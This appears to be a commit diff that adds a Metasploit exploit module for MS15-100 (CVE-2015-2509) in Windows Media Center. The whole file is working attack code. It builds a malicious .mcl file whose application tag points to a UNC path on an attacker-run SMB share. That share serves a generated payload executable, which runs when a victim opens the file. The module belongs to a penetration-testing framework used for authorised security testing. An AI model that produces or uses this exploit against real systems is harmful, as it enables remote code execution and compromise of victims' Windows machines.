Land rapid7#5971, MS15-100 Win Media Center MCL Vuln

Author: firefart

modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb

@@ -0,0 +1,72 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::SMB::Server::Share
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "MS15-100 Microsoft Windows Media Center MCL Vulnerability",
+      'Description'    => %q{
+        This module exploits a vulnerability in Windows Media Center. By supplying
+        an UNC path in the *.mcl file, a remote file will be automatically downloaded,
+        which can result in arbitrary code execution.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'sinn3r',
+        ],
+      'References'     =>
+        [
+          ['CVE', '2015-2509'],
+          ['MSB', 'MS15-100']
+        ],
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'DefaultOptions' =>
+        {
+          'DisablePayloadHandler' => 'false'
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          ['Windows', {}],
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Sep 8 2015",
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']),
+          OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe'])
+        ], self.class)
+
+      deregister_options('FILE_CONTENTS')
+  end
+
+  def generate_mcl
+    %Q|<application run="#{unc}" />|
+  end
+
+  def primer
+    self.file_contents = generate_payload_exe
+    print_status("Malicious executable at #{unc}...")
+
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    mcl = generate_mcl
+    file_create(mcl)
+  end
+
+end